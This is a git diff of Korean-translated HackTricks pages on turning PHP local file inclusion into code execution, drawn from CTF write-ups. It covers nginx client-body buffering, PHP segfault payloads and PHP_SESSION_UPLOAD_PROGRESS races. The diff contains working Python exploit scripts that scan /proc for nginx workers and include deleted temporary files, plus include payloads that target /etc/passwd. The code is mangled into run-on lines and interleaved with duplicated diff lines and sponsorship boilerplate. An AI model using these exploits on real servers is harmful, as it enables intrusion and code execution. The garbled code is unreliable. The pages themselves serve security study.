* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,7 +18,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 통해 제공되는 검색 엔진으로, 회사나 그 고객이 **스틸러 악성 코드**에 의해 **침해**당했는지 무료로 확인할 수 있는 기능을 제공합니다.
|
||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 통해 제공되는 검색 엔진으로, **무료** 기능을 제공하여 회사나 그 고객이 **스틸러 악성 코드**에 의해 **침해**당했는지 확인할 수 있습니다.
|
||||
|
||||
WhiteIntel의 주요 목표는 정보를 도난하는 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
|
||||
|
||||
|
@ -30,32 +30,32 @@ WhiteIntel의 주요 목표는 정보를 도난하는 악성 코드로 인한
|
|||
|
||||
## 취약한 구성
|
||||
|
||||
[**https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)에서의 예시
|
||||
[**https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**의 예시](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
* PHP 코드:
|
||||
|
||||
\`\`\`\`h\`
|
||||
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` 참고: PHP의 \`include\` 함수는 경로를 \`/var/lib/nginx/body/0000001368 (deleted)\`로 해석하므로 이 예시에서 \`/proc/34/fd/15\`를 직접 포함할 수 없습니다. 이러한 작은 제한은 다행히 \`/proc/self/fd/34/../../../34/fd/15\`와 같은 간접 방법으로 우회할 수 있습니다. 이렇게 하면 최종적으로 삭제된 \`/var/lib/nginx/body/0000001368\` 파일의 내용이 실행됩니다. ## 전체 악용 \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` 참고: PHP의 \`include\` 함수는 경로를 \`/var/lib/nginx/body/0000001368 (deleted)\`로 해석하므로 이 예시에서 \`/proc/34/fd/15\`를 직접 포함할 수 없습니다. 이러한 소극적인 제한은 다행히 \`/proc/self/fd/34/../../../34/fd/15\`와 같은 간접 방법으로 우회할 수 있습니다. 이렇게 하면 최종적으로 삭제된 \`/var/lib/nginx/body/0000001368\` 파일의 내용이 실행됩니다. ## 전체 Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
|
||||
```
|
||||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||||
except:
|
||||
pass
|
||||
```
|
||||
```markdown
|
||||
```python
|
||||
def send_payload_worker(requests_session): while True: send_payload(requests_session)
|
||||
|
||||
def send_payload_multiprocess(requests_session): # 모든 CPU를 사용하여 Nginx에 페이로드를 요청 본문으로 보냄 for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start()
|
||||
|
||||
def generate_random_path_prefix(nginx_pids): # 이 메서드는 무작위 개수의 ProcFS 경로 구성 요소로 경로를 생성합니다. 생성된 경로는 /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root와 같이 보입니다 path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
|
||||
|
||||
def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue # 플래그는 hxp{} 형식으로 포맷됩니다. if "hxp" in d: print("플래그 발견! ") print(d)
|
||||
def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue # 플래그는 hxp{} 형식으로 포맷됩니다 if "hxp" in d: print("플래그 발견! ") print(d)
|
||||
|
||||
def read_file_worker(requests_session, nginx_pid, nginx_pids): # 루프에서 10에서 45 사이의 Nginx FD를 스캔합니다. 파일과 소켓이 계속 닫히기 때문에 요청 본문 FD가 이 범위 내에서 열리는 것은 매우 일반적합니다 for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start()
|
||||
def read_file_worker(requests_session, nginx_pid, nginx_pids): # 루프에서 10에서 45 사이의 Nginx FD를 스캔합니다. 파일과 소켓이 계속 닫히기 때문에 이 범위 내에서 요청 본문 FD가 열리는 것이 매우 일반적합니다 for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start()
|
||||
|
||||
def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start()
|
||||
|
||||
if __name__ == "main": print('[DEBUG] 요청 세션 생성 중') requests_session = create_requests_session() print('[DEBUG] Nginx PID 가져오는 중') nginx_pids = get_nginx_pids(requests_session) print(f'[DEBUG] Nginx PIDs: {nginx_pids}') print('[DEBUG] 페이로드 전송 시작 중') send_payload_multiprocess(requests_session) print('[DEBUG] FD 리더 시작 중') read_file_multiprocess(requests_session, nginx_pids)
|
||||
if __name__ == "main": print('[DEBUG] 요청 세션 생성 중') requests_session = create_requests_session() print('[DEBUG] Nginx PID 가져오는 중') nginx_pids = get_nginx_pids(requests_session) print(f'[DEBUG] Nginx PID: {nginx_pids}') print('[DEBUG] 페이로드 전송 시작 중') send_payload_multiprocess(requests_session) print('[DEBUG] FD 리더 시작 중') read_file_multiprocess(requests_session, nginx_pids)
|
||||
```
|
||||
```
|
||||
|
||||
|
@ -81,18 +81,19 @@ You can check their website and try their engine for **free** at:
|
|||
|
||||
<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```
|
||||
|
||||
|
|
|
@ -1,20 +1,21 @@
|
|||
# 세그멘테이션 폴트를 통한 LFI2RCE
|
||||
# 세그멘테이션 오류를 통한 LFI2RCE
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
[https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (두 번째 부분) 및 [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view)의 라이트업에 따르면, 다음 페이로드는 PHP에서 세그멘테이션 폴트를 발생시킵니다:
|
||||
[https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (두 번째 부분) 및 [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view)에 따르면, 다음 payload들이 PHP에서 세그멘테이션 오류를 발생시켰습니다:
|
||||
```php
|
||||
// PHP 7.0
|
||||
include("php://filter/string.strip_tags/resource=/etc/passwd");
|
||||
|
@ -22,9 +23,9 @@ include("php://filter/string.strip_tags/resource=/etc/passwd");
|
|||
// PHP 7.2
|
||||
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
|
||||
```
|
||||
당신은 알아야 할 것은, **파일을 포함한** **POST** 요청을 보내면 PHP가 해당 파일의 내용을 가진 **임시 파일을 `/tmp/php<무언가>`**에 생성한다는 것입니다. 이 파일은 요청이 처리된 후에 **자동으로 삭제**됩니다.
|
||||
당신은 알아두어야 합니다. **POST** 요청을 **보내면**, PHP는 그 파일의 내용을 담은 **임시 파일을 `/tmp/php<something>`**에 생성합니다. 이 파일은 요청이 처리된 후 **자동으로 삭제**됩니다.
|
||||
|
||||
만약 LFI를 발견하고 PHP에서 세그멘테이션 오류를 **트리거**할 수 있다면, **임시 파일은 결코 삭제되지 않습니다**. 따라서 LFI 취약점을 이용하여 해당 파일을 찾고 임의의 코드를 실행할 수 있습니다.
|
||||
만약 **LFI**를 발견하고 PHP에서 segmentation fault를 **일으킬** 수 있다면, **임시 파일은 삭제되지 않을 것**입니다. 그러므로 **LFI** 취약점으로 그 파일을 찾아서 임의의 코드를 실행할 수 있습니다.
|
||||
|
||||
테스트를 위해 [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) 도커 이미지를 사용할 수 있습니다.
|
||||
```python
|
||||
|
@ -69,16 +70,17 @@ bruteforce(charset)
|
|||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# LFI2RCE를 통한 PHP_SESSION_UPLOAD_PROGRESS
|
||||
# LFI2RCE를 통한 PHP\_SESSION\_UPLOAD\_PROGRESS
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 기본 정보
|
||||
|
||||
**로컬 파일 인클루전**을 발견했지만 **세션이 없는 경우**이며 `session.auto_start`가 `Off`인 경우에도 **`session.upload_progress.enabled`**가 **`On`**이고 **`PHP_SESSION_UPLOAD_PROGRESS`**를 **multipart POST** 데이터에서 제공하면 PHP가 **세션을 활성화**합니다.
|
||||
**로컬 파일 포함**을 발견했지만 **세션이 없는 경우**이며 `session.auto_start`가 `Off`인 경우에도 **`session.upload_progress.enabled`**가 **`On`**이고 **`PHP_SESSION_UPLOAD_PROGRESS`**를 **multipart POST** 데이터에 제공하면 PHP가 **세션을 활성화**합니다.
|
||||
```bash
|
||||
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
|
||||
$ ls -a /var/lib/php/sessions/
|
||||
|
@ -30,33 +31,34 @@ $ ls -a /var/lib/php/sessions/
|
|||
|
||||
In the last example the session will contain the string blahblahblah
|
||||
```
|
||||
**`PHP_SESSION_UPLOAD_PROGRESS`**를 사용하면 세션 내의 데이터를 제어할 수 있으므로 세션 파일을 포함시키면 제어 가능한 부분(예: PHP 쉘 코드)을 포함시킬 수 있습니다.
|
||||
**`PHP_SESSION_UPLOAD_PROGRESS`**를 사용하면 **세션 내부 데이터를 제어**할 수 있으므로 세션 파일을 포함하면 제어할 수 있는 부분(예: PHP 쉘코드)을 포함할 수 있습니다.
|
||||
|
||||
{% hint style="info" %}
|
||||
인터넷의 대부분의 튜토리얼에서는 디버깅 목적으로 `session.upload_progress.cleanup`을 `Off`로 설정하도록 권장하지만, PHP의 기본 `session.upload_progress.cleanup`은 여전히 `On`입니다. 즉, 세션의 업로드 진행 상황은 가능한 한 빨리 정리됩니다. 따라서 이는 **경쟁 조건**이 될 수 있습니다.
|
||||
인터넷의 대부분의 자습서는 디버깅 목적으로 `session.upload_progress.cleanup`을 `Off`로 설정하도록 권장하지만 PHP의 기본 `session.upload_progress.cleanup`은 여전히 `On`입니다. 이는 세션의 업로드 진행 상황이 가능한 한 빨리 정리된다는 것을 의미합니다. 따라서 이것은 **경쟁 조건(Race Condition)**이 될 것입니다.
|
||||
{% endhint %}
|
||||
|
||||
### CTF
|
||||
|
||||
이 기법이 설명된 [**원래의 CTF**](https://blog.orange.tw/2018/10/)에서는 경쟁 조건을 악용하는 것만으로는 충분하지 않았으며, 로드된 콘텐츠는 `@<?php` 문자열로 시작해야 했습니다.
|
||||
이 기술이 주석 처리된 [**원본 CTF**](https://blog.orange.tw/2018/10/)에서는 경쟁 조건을 악용하는 것만으로는 충분하지 않았으며 로드된 콘텐츠는 `@<?php` 문자열로 시작해야 했습니다.
|
||||
|
||||
`session.upload_progress.prefix`의 기본 설정으로 인해 **세션 파일은 `upload_progress_`라는 귀찮은 접두사로 시작**됩니다. 예를 들어 `upload_progress_controlledcontentbyattacker`와 같습니다.
|
||||
`session.upload_progress.prefix`의 기본 설정으로 인해 **세션 파일은 귀찮은 접두사** `upload_progress_`로 시작합니다. 예를 들어 `upload_progress_controlledcontentbyattacker`와 같이 시작합니다.
|
||||
|
||||
초기 접두사를 **제거하는 트릭**은 페이로드를 **3번 base64로 인코딩**한 다음 `convert.base64-decode` 필터를 통해 디코딩하는 것입니다. 이는 **base64 디코딩 시 PHP가 이상한 문자를 제거**하기 때문에, 3번만 수행하면 공격자가 **보낸 페이로드만 남게**됩니다(그리고 공격자는 초기 부분을 제어할 수 있습니다).
|
||||
**초기 접두사를 제거하는 꼼수**는 페이로드를 **3번 base64로 인코딩**한 다음 `convert.base64-decode` 필터를 통해 디코딩하는 것이었습니다. 이는 **base64 디코딩 시 PHP가 이상한 문자를 제거**하기 때문에, 3번 후에는 공격자가 **보낸 페이로드만 남게** 됩니다(그리고 공격자는 초기 부분을 제어할 수 있게 됩니다).
|
||||
|
||||
원래의 writeup에서 자세한 정보를 확인하세요. [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) 및 최종 exploit [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py)\
|
||||
다른 writeup은 [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)에서 확인할 수 있습니다.
|
||||
원본 글에서 자세한 정보 확인 [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) 및 최종 악용 [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py)\
|
||||
다른 글은 [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!</summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **자신의 해킹 기법을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop) 확인!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass) 참여 또는 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 팔로우**.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭 공유.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,33 @@
|
|||
# 브라우저 HTTP 요청 스머글링
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
